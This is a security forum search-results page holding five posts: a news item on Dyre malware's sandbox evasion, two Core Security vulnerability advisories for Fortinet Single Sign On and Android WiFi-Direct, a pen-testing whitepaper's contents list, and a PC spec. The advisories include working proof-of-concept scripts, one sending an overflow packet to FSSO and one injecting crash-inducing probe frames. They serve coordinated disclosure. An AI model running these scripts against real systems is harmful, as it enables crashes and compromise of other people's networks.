Jump to content

Search the Community

Showing results for tags 'core'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 5 results

  1. Core checker a defensive wrecker Seculert CTO Aviv Raff says a nasty piece of malware linked to widespread destruction and bank account plundering has become more dangerous with the ability to evade popular sandboxes. Raff says the Dyre malware ducks popular sandbox tools by detecting the number of cores in use. The known but effective and previously unused technique is enough to beat at least eight of the most widely used free and commercial kit, Raff says. "If the machine has only one core it immediately terminates," Raff says in a post. "As many sandboxes are configured with only one processor with one core as a way to save resources, the check performed by Dyre is a good and effective way to avoid being analysed. "On the other hand, most of the PCs in use today have more than one core." Dyre is linked to a variant Dyre Wolf that IBM said last month plundered some $1 million from bank accounts. Raff informed the affected sandbox developers of the evasion technique. Dyre's Upatre downloader also sports new evasion techniques including a different user agent and grammatical fixes previously used to identify the malware. Raff says the technique proves sandboxing should not be used in isolation to stamp out malware. It is the latest development in a long history of cat-and-mouse warfare between malware writers and white hat defenders. Criminals need to contend with infiltrating victim machines while avoid anti-virus and white hats who look for indicators that are hallmarks of a type of malware. Defenders meanwhile face malware that uses increasingly complex evasion techniques that are specifically honed to beat sandboxes, virtual machines and other tools. Source
  2. 1. Advisory Information Title: Fortinet Single Sign On Stack Overflow Advisory ID: CORE-2015-0006 Advisory URL: http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow Date published: 2015-03-18 Date of last update: 2015-03-18 Vendors contacted: Fortinet Release mode: Coordinated release 2. Vulnerability Information Class: Stack-based Buffer Overflow [CWE-121] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-2281 3. Vulnerability Description Through Fortniet [1] "Single Sign On" or "Single User Sign On" users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory. FSSO [4] monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed. There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise. 4. Vulnerable packages - FSSO Windows Active Directory 4.3.0161 (4.3.0151, 4.3.0129 were also tested and found vulnerable) - FSSO Novell eDirectory 4.3.0161 Other versions are probably affected too, but they were not checked. 5. Vendor Information, Solutions and Workarounds Core Security recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent. Fortinet published the following FortiGuard Bulletin: [5] 6. Credits This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security Advisories Team. 7. Technical Description / Proof of Concept Code [CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth). Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible. The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash: import socket import struct TARGET_IP = "192.168.233.100" def play(): message = "\x80\x01\x42\x42" buff = "A"*248 buff += "B" * (0xfffff - len(buff)) payload = struct.pack(">I", 0x000fffff) + message + buff s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, 8000)) s.send(payload) buff_recv = s.recv(6000) print buff_recv s.close() play() 8. Report Timeline 2015-01-07: Core Security notifies Fortinet of the vulnerabilities. Publication date is set for February 2nd, 2015. 2015-01-09: Fortinet requests a copy of the advisory draft. 2015-01-09: Core Security sends a draft copy of the advisory to the vendor. 2015-01-14: Fortinet informs they are in the process of validating the report and asks if we want to commit to responsible disclosure. 2015-01-14: Core Security informs the vendor that our policy is to publish our findings in order to help the users to gain awareness of the issues and therefore allowing them to take the necessary precautions to protect themselves. We informed them that we always try to release our findings in a coordinate manner provided that the time the vendor takes to test and fix the issue is reasonable and the publication of this solution and our disclosure is agreed between the two parties. 2015-01-21: Core Security asks the vendor if they were able to review the vulnerabilities and a tentative date for publishing the fix and consequently the advisory. 2015-01-27: Fortinet acknowledges the vulnerabilities and informs that a fix of the source code is in order. The say they'll keep us updated regarding the release schedule. 2015-02-24: Fortinet informed us that the current ETA was the first week of March, but that it could be changed depending on their engineering load. 2015-02-24: Core Security requested a specific date considering that the first week of March was next week. 2015-02-27: Fortinet informed us that they currently don't have a fixed date. Additionally they sent us the link where their FortiGuard Bulletin is going to be published. They requested the CVE ID we are going to assign this issue. 2015-03-05: Core Security informs Fortinet that we still don´t have a CVE ID to share with them because we haven't received one from Mitre yet. 2015-03-05: Fortinet informed us that they were discussing when they were going to release the fix/update, and that they will provide us an ETA tomorrow. 2015-03-06: Fortinet informed us that their new ETA is March 11th, 2015. They clarify this is not a fixed date. 2015-03-11: Fortinet informed us that they postponed to the end of the week or next week the ETA of FortiOS 5.2.3. 2015-03-13: Core Security asks Fortinet about the status of the ETA for the fix/update. Additionally we recommended not to release it on a Friday in order to give the affected users the required time to apply the fix. 2015-03-16: Core Security asks Fortinet if they could send us their estimated ETA for the fix/update. 2015-03-16: Fortinet informed us that the current ETA is March 17th or March 18th. 2015-03-18: Advisory CORE-2015-0006 published. 9. References [1] http://www.fortinet.com/. [2] http://support.microsoft.com/kb/2458544. [3] https://github.com/CoreSecurity/sentinel. [4] http://docs-legacy.fortinet.com/cb/html/index.html#page/FOS_Cookbook/Authentication/FSSO-IBP.html. [5] http://www.fortiguard.com/advisory/FG-IR-15-006/. 10. About CoreLabs CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. About Core Security Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. Disclaimer The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. PGP/GPG Keys This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source
  3. Contents Author BIOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Executive Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 What is Pen-Testing? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Pen-Testing vs. Vulnerability Assessment . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 How Vulnerabilities Are Identified . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 Why Perform Pen-Testing? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Find Holes Now Before Somebody Else Does. . . . . . . . . . . . . . . . . . . . . . . . . 5 Report Problems To Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Verify Secure Configurations. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Security Training For Network Staff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Discover Any Gaps In Compliance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Testing New Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Pen-Testing Tools And Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Reconnaissance Tools: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Nessus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Packet Manipulation and Password Cracking Tools . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Exploitation Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Metasploit Version 2.5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 SecurityForest Exploitation Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 CORE IMPACT (version 5.1) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 The Penetration Testing Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Analysis Of CORE IMPACT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Test Lab Network Diagram. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Detailed Review Of Test Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Review Of CORE IMPACT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Conclusion. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Metasploit Framework 3.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Read more: http://www.sans.org/reading-room/whitepapers/analyst/penetration-testing-assessing-security-attackers-34635
  4. 4 GB RAM Procesor: AMD Athlon 64 Dual Core Processor 5000+ 2.61 ghz Placa video: nvidia geforce 9500gt
  5. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Android WiFi-Direct Denial of Service 1. *Advisory Information* Title: Android WiFi-Direct Denial of Service Advisory ID: CORE-2015-0002 Advisory URL: http://www.coresecurity.com/advisories/android-wifi-direct-denial-service Date published: 2015-01-26 Date of last update: 2015-01-26 Vendors contacted: Android Security Team Release mode: User release 2. *Vulnerability Information* Class: Uncaught Exception [CWE-248] Impact: Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0997 3. *Vulnerability Description* Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices. An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class. 4. *Vulnerable Packages* . Nexus 5 - Android 4.4.4 . Nexus 4 - Android 4.4.4 . LG D806 - Android 4.2.2 . Samsung SM-T310 - Android 4.2.2 . Motorola RAZR HD - Android 4.1.2 Other devices could be also affected. 5. *Non-vulnerable packages* . Android 5.0.1 . Android 5.0.2 6. *Vendor Information, Solutions and Workarounds* Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information. 7. *Credits* This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team. 8. *Technical Description / Proof of Concept Code* Android makes use of a modified *wpa_supplicant*[1] in order to provide an interface between the wireless driver and the Android platform framework. Below the function that handles *wpa_supplicant* events. This function returns a jstring from calling NewStringUTF method. /----- static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } -----/ The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information. The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, represents a Wi-Fi p2p device. The constructor method receives the string provided by the *wpa_supplicant* and throws an IllegalArgumentException in case the event is malformed. Below partial content of the WiFiP2PDevice.java file. /----- [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @Param string formats supported include * P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(2); return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(1); return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(3); primaryDeviceType = match.group(4); deviceName = match.group(5); wpsConfigMethodsSupported = parseHex(match.group(6)); deviceCapability = parseHex(match.group(7)); groupCapability = parseHex(match.group(8)); if (match.group(9) != null) { String str = match.group(10); wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] -----/ On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts. Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2. /----- I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574) E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error -----/ 8.1. *Proof of Concept* This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library. /----- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " poc.py <iface> <target>" print "Example:" print " poc.py wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) -----/ 9. *Report Timeline* . 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files. . 2014-09-29: Android Security Team acknowledges reception of the advisory. . 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014. . 2014-09-30: Android Security Team acknowledges. . 2014-10-16: Core Security requests a status update. . 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix. . 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory. . 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix. . 2015-01-06: Core Security requests a status update. . 2015-01-12: Core Security asks for confirmation of reception of the previous email. . 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015. . 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-26: The advisory CORE-2015-0002 is published. 10. *References* [1] - wpa_supplicant site. [url]http://w1.fi/wpa_supplicant/[/url] [2] - Lorcon site. [url]https://code.google.com/p/lorcon[/url] [3] - PyLorcon2 site. [url]http://code.google.com/p/pylorcon2[/url] 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [url]http://corelabs.coresecurity.com[/url]. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: [url]http://www.coresecurity.com[/url]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: [url]http://creativecommons.org/licenses/by-nc-sa/3.0/us/[/url] 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at [url]http://www.coresecurity.com/files/attachments/core_security_advisories.asc[/url]. Source
×
×
  • Create New...